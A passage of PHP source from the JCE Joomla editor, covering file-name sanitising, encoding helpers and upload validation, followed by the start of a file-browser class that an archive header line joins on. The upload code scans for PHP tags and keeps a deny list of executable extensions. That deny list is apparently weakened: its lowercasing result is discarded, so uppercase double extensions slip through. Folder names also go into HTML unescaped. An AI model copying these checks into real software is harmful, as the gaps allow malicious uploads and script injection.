                'Ţ' => 'T', 'ţ' => 't', 'Ť' => 'T', 'ť' => 't', 'Ŧ' => 'T', 'ŧ' => 't', 'Ũ' => 'U', 'ũ' => 'u', 'Ū' => 'U', 'ū' => 'u', 'Ŭ' => 'U', 'ŭ' => 'u', 'Ů' => 'U', 'ů' => 'u', 'Ű' => 'U', 'ű' => 'u', 'Ų' => 'U', 'ų' => 'u',
                'Ŵ' => 'W', 'ŵ' => 'w', 'Ŷ' => 'Y', 'ŷ' => 'y', 'Ÿ' => 'Y', 'Ź' => 'Z', 'ź' => 'z', 'Ż' => 'Z', 'ż' => 'z', 'Ž' => 'Z', 'ž' => 'z', 'ſ' => 's', 'ƒ' => 'f', 'Ơ' => 'O', 'ơ' => 'o', 'Ư' => 'U', 'ư' => 'u',
                'Ǎ' => 'A', 'ǎ' => 'a', 'Ǐ' => 'I', 'ǐ' => 'i', 'Ǒ' => 'O', 'ǒ' => 'o', 'Ǔ' => 'U', 'ǔ' => 'u', 'Ǖ' => 'U', 'ǖ' => 'u', 'Ǘ' => 'U', 'ǘ' => 'u', 'Ǚ' => 'U', 'ǚ' => 'u', 'Ǜ' => 'U', 'ǜ' => 'u',
                'Ǻ' => 'A', 'ǻ' => 'a', 'Ǽ' => 'AE', 'ǽ' => 'ae', 'Ǿ' => 'O', 'ǿ' => 'o',
            );
        }

        if (function_exists('transliterator_transliterate')) {
            if (is_array($subject)) {
                /*array_walk($subject, function (&$string) {
                $string = WFUtility::utf8_latin_to_ascii($string);
                });*/

                for ($i = 0; $i < count($subject); $i++) {
                    $subject[$i] = WFUtility::utf8_latin_to_ascii($subject[$i]);
                }

                return $subject;
            }

            $transformed = transliterator_transliterate('Any-Latin; Latin-ASCII;', $subject);

            if ($transformed !== false) {
                return $transformed;
            }

            return str_replace(array_keys($CHARS), array_values($CHARS), $subject);
        }

        return str_replace(array_keys($CHARS), array_values($CHARS), $subject);
    }

    protected static function changeCase($string, $case)
    {
        if (!function_exists('mb_strtolower') || !function_exists('mb_strtoupper')) {
            return $string;
        }

        if (is_array($string)) {
            for ($i = 0; $i < count($string); $i++) {
                $string[$i] = WFUtility::changeCase($string[$i], $case);
            }
        } else {
            switch ($case) {
                case 'lowercase':
                    $string = mb_strtolower($string);
                    break;
                case 'uppercase':
                    $string = mb_strtoupper($string);
                    break;
            }
        }

        return $string;
    }

    private static function cleanUTF8($string)
    {
        // remove some common characters
        $string = preg_replace('#[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]#', '', $string);

        $result = '';
        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $char = $string[$i];

            // only process on possible restricted characters or utf-8 letters/numbers
            if (preg_match('#[^\w\.\-~\s ]#', $char)) {
                // skip any character less than 127, eg: &?@* etc.
                if (ord($char) < 127) {
                    continue;
                }
            }

            $result .= $char;
        }

        return $result;
    }

    /**
     * Makes file name safe to use.
     *
     * @param mixed The name of the file (not full path)
     *
     * @return mixed The sanitised string or array
     */
    public static function makeSafe($subject, $mode = 'utf-8', $spaces = '_', $case = '')
    {
        $search = array();

        // set default mode if none is passed in
        if (empty($mode)) {
            $mode = 'utf-8';
        }

        if (!function_exists('mb_internal_encoding')) {
            $mode = 'ascii';
        }

        // trim
        if (is_array($subject)) {
            $subject = array_map('trim', $subject);
        } else {
            $subject = trim($subject);
        }

        // replace spaces with specified character or space
        $subject = preg_replace('#[\s ]+#', $spaces, $subject);

        if ($mode === 'utf-8') {
            $search[] = '#[^\pL\pM\pN_\.\-~\s ]#u';
        } else {
            $subject = self::utf8_latin_to_ascii($subject);
            $search[] = '#[^a-zA-Z0-9_\.\-~\s ]#';
        }

        // remove multiple . characters
        $search[] = '#(\.){2,}#';

        // strip leading period
        $search[] = '#^\.#';

        // strip trailing period
        $search[] = '#\.$#';

        // strip whitespace
        $search[] = '#^\s*|\s*$#';

        // only for utf-8 to avoid PCRE errors - PCRE must be at least version 5
        if ($mode == 'utf-8') {
            try {                
                // perform pcre replacement
                $result = preg_replace($search, '', $subject);
            } catch (Exception $e) {
                // try ascii
                return self::makeSafe($subject, 'ascii');
            }

            // try ascii
            if (is_null($result) || $result === false) {
                return self::makeSafe($subject, 'ascii');
            }

            if ($case) {
                // change case
                $result = self::changeCase($result, $case);
            }

            return $result;
        }

        $result = preg_replace($search, '', $subject);

        if ($case) {
            // change case
            $result = self::changeCase($result, $case);
        }

        return $result;
    }

    /**
     * Format the file size, limits to Mb.
     *
     * @param int $size the raw filesize
     *
     * @return string formated file size
     */
    public static function formatSize($size)
    {
        if ($size < 1024) {
            return $size . ' ' . WFText::_('WF_LABEL_BYTES');
        } elseif ($size >= 1024 && $size < 1024 * 1024) {
            return sprintf('%01.2f', $size / 1024.0) . ' ' . WFText::_('WF_LABEL_KB');
        } else {
            return sprintf('%01.2f', $size / (1024.0 * 1024)) . ' ' . WFText::_('WF_LABEL_MB');
        }
    }

    /**
     * Format the date.
     *
     * @param int $date the unix datestamp
     *
     * @return string formated date
     */
    public static function formatDate($date, $format = '%d/%m/%Y, %H:%M')
    {
        return strftime($format, $date);
    }

    /**
     * Get the modified date of a file.
     *
     * @return Formatted modified date
     *
     * @param string $file Absolute path to file
     */
    public static function getDate($file)
    {
        return self::formatDate(@filemtime($file));
    }

    /**
     * Get the size of a file.
     *
     * @return Formatted filesize value
     *
     * @param string $file Absolute path to file
     */
    public static function getSize($file)
    {
        return self::formatSize(@filesize($file));
    }

    public static function convertEncoding($string)
    {
        if (!function_exists('mb_detect_encoding')) {
            // From http://w3.org/International/questions/qa-forms-utf-8.html
            $isUTF8 = preg_match('%^(?:
	              [\x09\x0A\x0D\x20-\x7E]          	 # ASCII
	            | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
	            |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
	            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
	            |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
	            |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
	            | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
	            |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
	        )*$%xs', $string);

            if (!$isUTF8) {
                return utf8_encode($string);
            }

            return $string;
        }

        // get encoding
        $encoding = mb_detect_encoding($string, "auto", true);

        // return existing string if it is already utf-8
        if ($encoding === 'UTF-8') {
            return $string;
        }

        // invalid encoding, so make a "safe" string
        if ($encoding === false) {
            return preg_replace('#[^a-zA-Z0-9_\.\-~\s ]#', '', $string);
        }

        // convert to utf-8 and return
        return mb_convert_encoding($string, 'UTF-8', $encoding);
    }

    public static function isUtf8($string)
    {
        if (!function_exists('mb_detect_encoding')) {
            // From http://w3.org/International/questions/qa-forms-utf-8.html
            return preg_match('%^(?:
	              [\x09\x0A\x0D\x20-\x7E]          	 # ASCII
	            | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
	            |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
	            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
	            |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
	            |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
	            | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
	            |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
	        )*$%xs', $string);
        }

        return mb_detect_encoding($string, 'UTF-8', true);
    }

    /**
     * Convert size value to bytes.
     */
    public static function convertSize($value)
    {
        $unit = '';

        preg_match('#([0-9]+)\s?([a-z]*)#i', $value, $matches);

        if (isset($matches[1])) {
            $value = (int) $matches[1];
        }

        if (isset($matches[2])) {
            $unit = $matches[2];
        }

        // Convert to bytes
        switch (strtolower($unit)) {
            case 'g':
                $value = intval($value) * 1073741824;
                break;
            case 'm':
                $value = intval($value) * 1048576;
                break;
            case 'k':
                $value = intval($value) * 1024;
                break;
        }

        return $value;
    }

    /**
     * Checks an upload for suspicious naming, potential PHP contents, valid image and HTML tags.
     */
    public static function isSafeFile($file)
    {
        // null byte check
        if (strstr($file['name'], "\x00")) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('The file name contains a null byte.');
        }

        // check name for invalid extensions
        if (self::validateFileName($file['name']) !== true) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('The file name contains an invalid extension.');
        }

        $isImage = preg_match('#\.(jpeg|jpg|jpe|png|gif|wbmp|bmp|tiff|tif|webp|psd|swc|iff|jpc|jp2|jpx|jb2|xbm|ico|xcf|odg)$#i', $file['name']);

        // check file for <?php tags
        $fp = @fopen($file['tmp_name'], 'r');

        if ($fp !== false) {
            $data = '';

            while (!feof($fp)) {
                $data .= @fread($fp, 131072);
                // we can only reliably check for the full <?php tag here (short tags conflict with valid exif xml data), so users are reminded to disable short_open_tag
                if (stristr($data, '<?php')) {
                    @unlink($file['tmp_name']);
                    throw new InvalidArgumentException('The file contains PHP code.');
                }

                $data = substr($data, -10);
            }

            fclose($fp);
        }

        // validate image
        if ($isImage && @getimagesize($file['tmp_name']) === false) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('The file is not a valid image.');
        }

        return true;
    }

    /**
     * Check file name for extensions.
     *
     * @param type $name
     *
     * @return bool
     */
    public static function validateFileName($name)
    {
        if (empty($name) && (string) $name !== "0") {
            return false;
        }
        
        // list of invalid extensions
        $executable = array(
            'php', 'php3', 'php4', 'php5', 'js', 'exe', 'phtml', 'java', 'perl', 'py', 'asp', 'dll', 'go', 'ade', 'adp', 'bat', 'chm', 'cmd', 'com', 'cpl', 'hta', 'ins', 'isp',
            'jse', 'lib', 'mde', 'msc', 'msp', 'mst', 'pif', 'scr', 'sct', 'shb', 'sys', 'vb', 'vbe', 'vbs', 'vxd', 'wsc', 'wsf', 'wsh', 'svg'
        );

        // get file parts, eg: ['image', 'php', 'jpg']
        $parts = explode('.', $name);

        // remove extension
        array_pop($parts);

        // remove name
        array_shift($parts);

        // no extensions in file name
        if (empty($parts)) {
            return true;
        }

        // lowercase it
        array_map('strtolower', $parts);

        // check for extension in file name, eg: image.php.jpg
        foreach ($executable as $extension) {
            if (in_array($extension, $parts)) {
                return false;
            }
        }
        return true;
    }

    /**
     * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
     * keys to arrays rather than overwriting the value in the first array with the duplicate
     * value in the second array, as array_merge does. I.e., with array_merge_recursive,
     * this happens (documented behavior):.
     *
     * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
     *     => array('key' => array('org value', 'new value'));
     *
     * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
     * Matching keys' values in the second array overwrite those in the first array, as is the
     * case with array_merge, i.e.:
     *
     * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
     *     => array('key' => array('new value'));
     *
     * Parameters are passed by reference, though only for performance reasons. They're not
     * altered by this function.
     *
     * @param array $array1
     * @param array $array2
     *
     * @return array
     *
     * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
     * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
     */
    public static function array_merge_recursive_distinct(array &$array1, array &$array2)
    {
        $merged = $array1;

        foreach ($array2 as $key => &$value) {
            if (is_array($value) && isset($merged[$key]) && is_array($merged[$key])) {
                $merged[$key] = self::array_merge_recursive_distinct($merged[$key], $value);
            } else {
                $merged[$key] = $value;
            }
        }

        return $merged;
    }
}editor/libraries/classes/browser.php000060400000137105150750527150013651 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.extensions.filesystem');

class WFFileBrowser extends JObject
{
    /* @var array */
    private $_buttons = array();

    /* @var array */
    private $_actions = array();

    /* @var array */
    private $_events = array();

    /* @var array */
    private $_result = array('error' => array(), 'files' => array(), 'folders' => array());

    /* @var string */
    public $dir = '';

    /* @var string */
    public $filesystem = 'joomla';

    /* @var string */
    public $filetypes = 'jpg,jpeg,png,gif';

    /* @var array */
    public $upload = array(
        'max_size' => 1024,
        'validate_mimetype' => 1,
        'add_random' => 0,
        'total_files' => 0,
        'total_size' => 0,
        'remove_exif' => 0,
    );
    /* @var int */
    public $folder_tree = 1;

    /* @var string */
    public $list_limit = 'all';

    /* @var array */
    public $features = array(
        'upload' => 1,
        'folder' => array(
            'create' => 1,
            'delete' => 1,
            'rename' => 1,
            'move' => 1,
        ),
        'file' => array(
            'rename' => 1,
            'delete' => 1,
            'move' => 1,
        ),
    );
    /* @var string */
    public $date_format = '%d/%m/%Y, %H:%M';

    /* @var string */
    public $websafe_mode = 'utf-8';

    /* @var int */
    public $websafe_spaces = 0;

    /* @var string */
    public $websafe_textcase = '';

    public function __construct($config = array())
    {
        // set file browser config
        $this->setConfig($config);

        // add actions
        $this->addDefaultActions();
        // add buttons
        $this->addDefaultButtons();

        // Setup XHR callback funtions
        $this->setRequest(array($this, 'getItems'));
        $this->setRequest(array($this, 'getFileDetails'));
        $this->setRequest(array($this, 'getFolderDetails'));
        $this->setRequest(array($this, 'getTree'));
        $this->setRequest(array($this, 'getTreeItem'));

        $this->setRequest(array($this, 'upload'));
    }

    /**
     * Display the browser.
     */
    public function display()
    {
        $this->setProperties(array(
            'actions' => $this->getActions(),
            'buttons' => $this->getButtons(),
        ));

        // Get the Document instance
        $document = WFDocument::getInstance();

        $document->addScript(array('filebrowser.min'), 'libraries');
        $document->addStyleSheet(array('filebrowser.min'), 'libraries');
    }

    /**
     * Render the browser view.
     */
    public function render()
    {
        $session = JFactory::getSession();

        $view = new WFView(array(
            'name' => 'filebrowser',
            'layout' => 'default',
        ));

        // assign session data
        $view->assign('session', $session);
        // assign form action
        $view->assign('action', $this->getFormAction());
        // return view output
        $view->display();
    }

    /**
     * Set a WFRequest item.
     *
     * @param array $request
     */
    public function setRequest($request)
    {
        $xhr = WFRequest::getInstance();
        $xhr->setRequest($request);
    }

    /**
     * Upload form action url.
     *
     * @return string URL
     *
     * @since    1.5
     */
    protected function getFormAction()
    {
        $wf = WFEditorPlugin::getInstance();

        $context = JRequest::getInt('context');

        $query = '';

        $args = array(
            'plugin' => $wf->getName(),
            'context' => $context,
        );

        foreach ($args as $k => $v) {
            $query .= '&' . $k . '=' . $v;
        }

        return JURI::base(true) . '/index.php?option=com_jce&view=editor&layout=plugin' . $query;
    }

    public function getFileSystem()
    {
        static $filesystem;

        if (!is_object($filesystem)) {
            $wf = WFEditorPlugin::getInstance();

            $config = array(
                'dir' => $this->get('dir'),
                'upload_conflict' => $wf->getParam('editor.upload_conflict', 'overwrite'),
                'upload_suffix' => $wf->getParam('editor.upload_suffix', '_copy'),
                'filetypes' => $this->listFileTypes(),
            );

            $filesystem = WFFileSystem::getInstance($this->get('filesystem'), $config);
        }

        return $filesystem;
    }

    private function getViewable()
    {
        return 'jpeg,jpg,gif,png,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx';
    }

    /**
     * Return a list of allowed file extensions in specific format.
     *
     * @return formatted extension list
     */
    public function getFileTypes($format = 'map', $list = '')
    {
        if (empty($list)) {
            $list = $this->get('filetypes');
        }

        $data = array();

        foreach (explode(';', $list) as $group) {
            // exclude group
            if (strpos($group, '=') !== false && strpos($group, '-') === 0) {
                continue;
            }

            $parts = explode('=', $group);
            // get extensions, eg: "jpg,gif,png"
            $items = array_pop($parts);
            // get type if available, eg: "images"
            $type = array_pop($parts);

            // re-map without excluded items
            $items = array_filter(explode(',', $items), function ($item) {
                return substr(trim($item), 0, 1) !== '-';
            });

            // no type
            if (empty($type)) {
                $data = $items;
            } else {
                // create flattened array, eg: ["jpg", "jpeg", "gif", "png"]
                if ($format === 'array' || $format === 'list') {
                    $data = array_merge($data, array_map('strtolower', $items));
                    // create associative array, eg:  or ["images" => ["jpg", "jpeg", "gif", "png"]]
                } else {
                    $data[$type] = $items;
                }
            }
        }

        // return flattended list of extensions, eg: "jpg,jpeg,png,gif"
        if ($format === 'list') {
            return implode(',', $data);
        }

        // return json encoded list, eg: {"images": ["jpg", "jpeg", "gif", "png"]}
        if ($format === 'json') {
            return json_encode($data);
        }
        // return array
        return $data;
    }

    /**
     * Converts the extensions map to a list.
     *
     * @param string $list The extensions map eg: images=jpg,jpeg,gif,png
     *
     * @return string jpg,jpeg,gif,png
     */
    private function listFileTypes($list = '')
    {
        return $this->getFileTypes('list', $list);
    }

    public function setFileTypes($list = 'jpg,jpeg,png,gif')
    {        
        if ($list && $list[0] === '=') {
            $list = substr($list, 1);
        }

        $this->set('filetypes', $list);
    }

    public function addFileTypes($filetypes)
    {
        $list = $this->get('filetypes');

        if (strpos($list, '=') === false) {
            // convert to array if needed
            if (is_string($list)) {
                $list = explode(',', $list);
            }
            // combine
            $list = array_unique(array_merge($list, $filetypes));
            // convert to string
            $list = implode(',', $list);
        } else {
            $list = explode(';', $list);
            foreach ($types as $group => $extensions) {
                $list[] = $group . '=' . $extensions;
            }

            $list = implode(';', $list);
        }

        $this->set('filetypes', $list);
    }

    /**
     * Returns the result variable.
     *
     * @return var $_result
     */
    public function getResult()
    {
        return $this->_result;
    }

    public function setResult($value, $key = null)
    {
        if ($key) {
            if (is_array($this->_result[$key])) {
                $this->_result[$key][] = $value;
            } else {
                $this->_result[$key] = $value;
            }
        } else {
            $this->_result = $value;
        }
    }

    public function checkFeature($action, $type = null)
    {
        $features = $this->get('features');

        if ($type) {
            if (isset($features[$type])) {
                $type = $features[$type];

                if (isset($type[$action])) {
                    return (bool) $type[$action];
                }
            }
        } else {
            if (isset($features[$action])) {
                return (bool) $features[$action];
            }
        }

        return false;
    }

    protected function checkPathAccess($path)
    {
        $filter = $this->get('filter');

        if (!empty($filter)) {
            $path = ltrim($path, '/');

            return !in_array($path, (array) $filter);
        }

        return true;
    }

    public function getBaseDir()
    {
        $filesystem = $this->getFileSystem();

        return $filesystem->getBaseDir();
    }

    /**
     * Get the list of files in a given folder.
     *
     * @param string $relative The relative path of the folder
     * @param string $filter   A regex filter option
     *
     * @return File list array
     */
    private function getFiles($relative, $filter = '.', $sort = '')
    {
        $filesystem = $this->getFileSystem();
        $list = $filesystem->getFiles($relative, $filter, $sort);

        return $list;
    }

    /**
     * Get the list of folder in a given folder.
     *
     * @param string $relative The relative path of the folder
     *
     * @return Folder list array
     */
    private function getFolders($relative, $filter = '', $sort = '')
    {
        $filesystem = $this->getFileSystem();
        $list = $filesystem->getFolders($relative, $filter, $sort);

        $filters = $this->get('filter');

        // remove filtered items
        if (!empty($filters)) {
            $list = array_filter($list, function ($item) use ($filters) {
                // remove leading slash
                $id = ltrim($item['id'], '/');

                return !in_array($id, $filters);

                /*foreach($filters as $filter) {
            // show this folder
            if ($filter{0} === "+") {
            return substr($filter, 1) === $id;
            }
            // hide this folder
            if ($filter{0} === "-") {
            $filter = substr($filter, 1);
            }

            return $filter !== $id;
            }*/
            });
        }

        return $list;
    }

    /**
     * Get file and folder lists.
     *
     * @return array Array of file and folder list objects
     *
     * @param string $relative Relative or absolute path based either on source url or current directory
     * @param int    $limit    List limit
     * @param int    $start    list start point
     */
    public function getItems($path, $limit = 25, $start = 0, $filter = '', $sort = '')
    {
        $filesystem = $this->getFileSystem();

        $files = array();
        $folders = array();

        clearstatcache();

        // decode path
        $path = rawurldecode($path);

        WFUtility::checkPath($path);

        // trim leading slash
        $path = ltrim($path, "/");

        // get source dir from path eg: images/stories/fruit.jpg = images/stories
        $dir = $filesystem->getSourceDir($path);

        $filetypes = $this->getFileTypes('array');

        $name = '';

        if ($filter) {
            if ($filter{0} == '.') {
                $ext = WFUtility::makeSafe($filter);

                for ($i = 0; $i < count($filetypes); ++$i) {
                    if (preg_match('#^' . $ext . '#', $filetypes[$i]) === false) {
                        unset($filetypes[$i]);
                    }
                }
            } else {
                $name = '^(?i).*' . WFUtility::makeSafe($filter) . '.*';
            }
        }

        // get file list by filter
        $files = $this->getFiles($dir, $name . '\.(?i)(' . implode('|', $filetypes) . ')$', $sort);

        if (empty($filter) || $filter{0} != '.') {
            // get folder list
            $folders = $this->getFolders($dir, '^(?i).*' . WFUtility::makeSafe($filter) . '.*', $sort);
        }

        $folderArray = array();
        $fileArray = array();

        $items = array_merge($folders, $files);

        if ($items) {
            if (is_numeric($limit)) {
                $items = array_slice($items, $start, $limit);
            }

            foreach ($items as $item) {
                $item['classes'] = '';
                if ($item['type'] == 'folders') {
                    $folderArray[] = $item;
                } else {
                    // check for selected item
                    $item['selected'] = $filesystem->isMatch($item['url'], $path);
                    $fileArray[] = $item;
                }
            }
        }

        $result = array(
            'folders' => $folderArray,
            'files' => $fileArray,
            'total' => array(
                'folders' => count($folders),
                'files' => count($files),
            ),
        );

        // Fire Event passing result as reference
        $this->fireEvent('onGetItems', array(&$result));

        return $result;
    }

    /**
     * Get a tree node.
     *
     * @param string $dir The relative path of the folder to search
     *
     * @return Tree node array
     */
    public function getTreeItem($path)
    {
        $filesystem = $this->getFileSystem();
        $path = rawurldecode($path);

        WFUtility::checkPath($path);

        // get source dir from path eg: images/stories/fruit.jpg = images/stories
        $dir = $filesystem->getSourceDir($path);

        $folders = $this->getFolders($dir);
        $array = array();
        if (!empty($folders)) {
            foreach ($folders as $folder) {
                $array[] = array(
                    'id' => $folder['id'],
                    'name' => $folder['name'],
                    'class' => 'folder',
                );
            }
        }
        $result = array(
            'folders' => $array,
        );

        return $result;
    }

    /**
     * Escape a string.
     *
     * @return string Escaped string
     *
     * @param string $string
     */
    private function escape($string)
    {
        $revert = array('%2A' => '*', '%2B' => '+', '%2F' => '/', '%3F' => '?', '%40' => '@');

        return strtr(rawurlencode($string), $revert);
    }

    /**
     * Build a tree list.
     *
     * @param string $dir The relative path of the folder to search
     *
     * @return Tree html string
     */
    public function getTree($path = '')
    {
        $filesystem = $this->getFileSystem();

        // decode path
        $path = rawurldecode($path);

        WFUtility::checkPath($path);

        // get source dir from path eg: images/stories/fruit.jpg = /stories
        $dir = $filesystem->getSourceDir($path);

        // remove leading slash
        $dir = ltrim($dir, '/');

        $result = $this->getTreeItems($dir);

        return $result;
    }

    /**
     * Get Tree list items as html list.
     *
     * @return Tree list html string
     *
     * @param string $dir            Current directory
     * @param bool   $root[optional] Is root directory
     * @param bool   $init[optional] Is tree initialisation
     */
    public function getTreeItems($dir, $root = true, $init = true)
    {
        $result = '';

        static $treedir = null;

        if ($init) {
            $treedir = $dir;
            if ($root) {
                $result = '<ul>'
                . '<li data-id="/" class="uk-tree-open uk-tree-root uk-padding-remove">'
                . ' <div class="uk-tree-row">'
                . '   <a href="#">'
                . '     <span class="uk-tree-icon" role="presentation">'
                . '       <i class="uk-icon uk-icon-home"></i>'
                . '     </span>'
                . '     <span class="uk-tree-text">' . WFText::_('WF_LABEL_HOME', 'Home') . '</span>'
                    . '   </a>'
                    . ' </div>';

                $dir = '/';
            }
        }
        $folders = $this->getFolders($dir);

        if ($folders) {
            $result .= '<ul class="uk-tree-node">';
            foreach ($folders as $folder) {
                $name = ltrim($folder['id'], '/');

                $open = preg_match('#' . $name . '\b#', $treedir);

                $result .= '<li data-id="' . $this->escape($name) . '" class="' . ($open ? 'uk-tree-open' : '') . '">'
                    . ' <div class="uk-tree-row">'
                    . '   <a href="#">'
                    . '     <span class="uk-tree-icon" role="presentation"></span>'
                    . '     <span class="uk-tree-text uk-width-4-5 uk-text-truncate" title="' . $folder['name'] . '">' . $folder['name'] . '</span>'
                    . '   </a>'
                    . ' </div>';

                if ($open) {
                    if ($h = $this->getTreeItems($folder['id'], false, false)) {
                        $result .= $h;
                    }
                }

                $result .= '</li>';
            }
            $result .= '</ul>';
        }
        if ($init && $root) {
            $result .= '</li></ul>';
        }
        $init = false;

        return $result;
    }

    /**
     * Get a folders properties.
     *
     * @return array Array of properties
     *
     * @param string $dir Folder relative path
     */
    public function getFolderDetails($dir)
    {
        WFUtility::checkPath($dir);

        $filesystem = $this->getFileSystem();
        // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2);
        return $filesystem->getFolderDetails($dir);
    }

    /**
     * Get a files properties.
     *
     * @return array Array of properties
     *
     * @param string $file File relative path
     */
    public function getFileDetails($file)
    {
        WFUtility::checkPath($file);

        $filesystem = $this->getFileSystem();
        // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2);
        return $filesystem->getFileDetails($file);
    }

    /**
     * Create default actions based on access.
     */
    private function addDefaultActions()
    {
        $this->addAction('help', array('title' => WFText::_('WF_BUTTON_HELP')));

        if ($this->checkFeature('upload')) {
            $this->addAction('upload');
            $this->setRequest(array($this, 'upload'));
        }

        if ($this->checkFeature('create', 'folder')) {
            $this->addAction('folder_new');
            $this->setRequest(array($this, 'folderNew'));
        }
    }

    /**
     * Add an action to the list.
     *
     * @param string $name    Action name
     * @param array  $options Array of options
     */
    public function addAction($name, $options = array())
    {
        if (!is_array($options)) {
            list($name, $options['icon'], $options['action'], $options['title']) = func_get_args();
        }

        $options = array_merge(array('name' => $name), $options);

        // set some defaults
        if (!array_key_exists('icon', $options)) {
            $options['icon'] = '';
        }

        if (!array_key_exists('action', $options)) {
            $options['action'] = '';
        }

        if (!array_key_exists('title', $options)) {
            $options['title'] = WFText::_('WF_BUTTON_' . strtoupper($name));
        }

        $this->_actions[$name] = $options;
    }

    /**
     * Get all actions.
     *
     * @return object
     */
    private function getActions()
    {
        return array_reverse($this->_actions);
    }

    /**
     * Remove an action from the list by name.
     *
     * @param string $name Action name to remove
     */
    public function removeAction($name)
    {
        if (isset($this->_actions[$name])) {
            unset($this->_actions[$name]);
        }
    }

    /**
     * Create all standard buttons based on access.
     */
    private function addDefaultButtons()
    {
        if ($this->checkFeature('delete', 'folder')) {
            $this->addButton('folder', 'delete', array('multiple' => true));

            $this->setRequest(array($this, 'deleteItem'));
        }
        if ($this->checkFeature('rename', 'folder')) {
            $this->addButton('folder', 'rename');

            $this->setRequest(array($this, 'renameItem'));
        }
        if ($this->checkFeature('move', 'folder')) {
            $this->addButton('folder', 'copy', array('multiple' => true));
            $this->addButton('folder', 'cut', array('multiple' => true));

            $this->addButton('folder', 'paste', array('multiple' => true, 'trigger' => true));

            $this->setRequest(array($this, 'copyItem'));
            $this->setRequest(array($this, 'moveItem'));
        }
        if ($this->checkFeature('rename', 'file')) {
            $this->addButton('file', 'rename');

            $this->setRequest(array($this, 'renameItem'));
        }
        if ($this->checkFeature('delete', 'file')) {
            $this->addButton('file', 'delete', array('multiple' => true));

            $this->setRequest(array($this, 'deleteItem'));
        }
        if ($this->checkFeature('move', 'file')) {
            $this->addButton('file', 'copy', array('multiple' => true));
            $this->addButton('file', 'cut', array('multiple' => true));

            $this->addButton('file', 'paste', array('multiple' => true, 'trigger' => true));

            $this->setRequest(array($this, 'copyItem'));
            $this->setRequest(array($this, 'moveItem'));
        }
        $this->addButton('file', 'view', array('restrict' => $this->getViewable()));
    }

    /**
     * Add a button.
     *
     * @param string $type[optional]     Button type (file or folder)
     * @param string $name               Button name
     * @param string $icon[optional]     Button icon
     * @param string $action[optional]   Button action / function
     * @param string $title              Button title
     * @param bool   $multiple[optional] Supports multiple file selection
     * @param bool   $trigger[optional]
     */
    public function addButton($type, $name, $options = array())
    {
        $options = array_merge(array('name' => $name), $options);

        // set some defaults
        if (!array_key_exists('icon', $options)) {
            $options['icon'] = '';
        }

        if (!array_key_exists('action', $options)) {
            $options['action'] = '';
        }

        if (!array_key_exists('title', $options)) {
            $options['title'] = WFText::_('WF_BUTTON_' . strtoupper($name));
        }

        if (!array_key_exists('multiple', $options)) {
            $options['multiple'] = false;
        }

        if (!array_key_exists('trigger', $options)) {
            $options['trigger'] = false;
        }

        if (!array_key_exists('restrict', $options)) {
            $options['restrict'] = '';
        }

        $this->_buttons[$type][$name] = $options;
    }

    /**
     * Return an object list of all buttons.
     *
     * @return object
     */
    private function getButtons()
    {
        return $this->_buttons;
    }

    /**
     * Remove a button.
     *
     * @param string $type Button type
     * @param string $name Button name
     */
    public function removeButton($type, $name)
    {
        if (array_key_exists($name, $this->_buttons[$type])) {
            unset($this->_buttons[$type][$name]);
        }
    }

    /**
     * Change a buttons properties.
     *
     * @param string $type Button type
     * @param string $name Button name
     * @param string $keys Button keys
     */
    public function changeButton($type, $name, $keys)
    {
        foreach ($keys as $key => $value) {
            if (isset($this->_buttons[$type][$name][$key])) {
                $this->_buttons[$type][$name][$key] = $value;
            }
        }
    }

    /**
     * Add an event.
     *
     * @param string $name     Event name
     * @param string $function Event function name
     */
    public function addEvent($name, $function)
    {
        $this->_events[$name] = $function;
    }

    /**
     * Execute an event.
     *
     * @return Evenet result
     *
     * @param object $name           Event name
     * @param array  $args[optional] Optional arguments
     */
    protected function fireEvent($name, $args = null)
    {
        if (array_key_exists($name, $this->_events)) {
            $event = $this->_events[$name];

            if (is_array($event)) {
                return call_user_func_array($event, $args);
            } else {
                return call_user_func($event, $args);
            }
        }

        return $this->_result;
    }

    /**
     * Get a file icon based on extension.
     *
     * @return string Path to file icon
     *
     * @param string $ext File extension
     */
    public function getFileIcon($ext)
    {
        if (JFile::exists(WF_EDITOR_LIBRARIES . '/img/icons/' . $ext . '.gif')) {
            return $this->image('libraries.icons/' . $ext . '.gif');
